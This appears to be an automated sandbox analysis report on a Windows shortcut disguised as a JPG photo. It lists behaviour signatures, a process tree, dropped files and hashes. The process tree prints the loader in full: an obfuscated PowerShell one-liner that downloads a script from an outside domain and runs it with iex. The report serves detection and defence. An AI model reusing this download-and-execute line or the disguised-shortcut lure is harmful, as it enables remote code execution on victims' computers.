Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/07/2026, 10:18

General

  • Target
    IMG_20260727_205540.jpg.lnk
  • Size 1KB
  • Sample260728-mcaeaavaja
  • SHA256 2526cf3a80914938e743c268d36d65744668bba6b1b9a0c30265225675bcf98a
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 42 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260727_205540.jpg.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4900
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('reservphotoinstaynow.','shop')[0,1] -join $Ifu7YzOo) -useb | iex
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4328
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qhxffkws\qhxffkws.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5696
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES423F.tmp" "c:\Users\Admin\AppData\Local\Temp\qhxffkws\CSCD307F8A6A00C48AB8BE1D32DB3CE133.TMP"
          4⤵
            PID:248

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          RES423F.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES423F.tmp
          • Size 1KB
          • SHA256 8b6b8d54ff620c817b59060f6bef15b5c2fc95e0ced4dceab1e5717fc31c2eea
          • MD5 SHA1 SHA512 TLSH

          qhxffkws.dll

          • Path C:\Users\Admin\AppData\Local\Temp\qhxffkws\qhxffkws.dll
          • Size 3KB
          • SHA256 32894d231784bfa8066de6f9ba33a44dda7681bc6e7f84ce66cb1c8223286e1b
          • MD5 SHA1 SHA512 TLSH

          CSCD307F8A6A00C48AB8BE1D32DB3CE133.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\qhxffkws\CSCD307F8A6A00C48AB8BE1D32DB3CE133.TMP
          • Size 652B
          • SHA256 bf2b99d80ae9f54cab5c70a0cf6466bdec91051dde48fe0ac675f5ecbe676551
          • MD5 SHA1 SHA512 TLSH

          qhxffkws.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\qhxffkws\qhxffkws.0.cs
          • Size 203B
          • SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
          • MD5 SHA1 SHA512 TLSH

          qhxffkws.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\qhxffkws\qhxffkws.cmdline
          • Size 369B
          • SHA256 80051802d84c4673e8c8a5cb9c811789dbdaada54f50b3d57efcda51386177ed
          • MD5 SHA1 SHA512 TLSH

          memory/4328-10-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/4328-20-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/4328-11-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/4328-12-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/4328-13-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/4328-14-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/4328-15-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/4328-16-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/4328-17-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/4328-18-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/4328-19-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/4328-2-0x00007FF8CFE3F000-0x00007FF8CFE40000-memory.dmp

          memory/4328-9-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/4328-8-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/4328-7-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/4328-33-0x000002413C3E0000-0x000002413C3E8000-memory.dmp

          memory/4328-6-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/4328-5-0x000002413C3B0000-0x000002413C3D2000-memory.dmp

          memory/4328-34-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/4328-35-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/4328-36-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp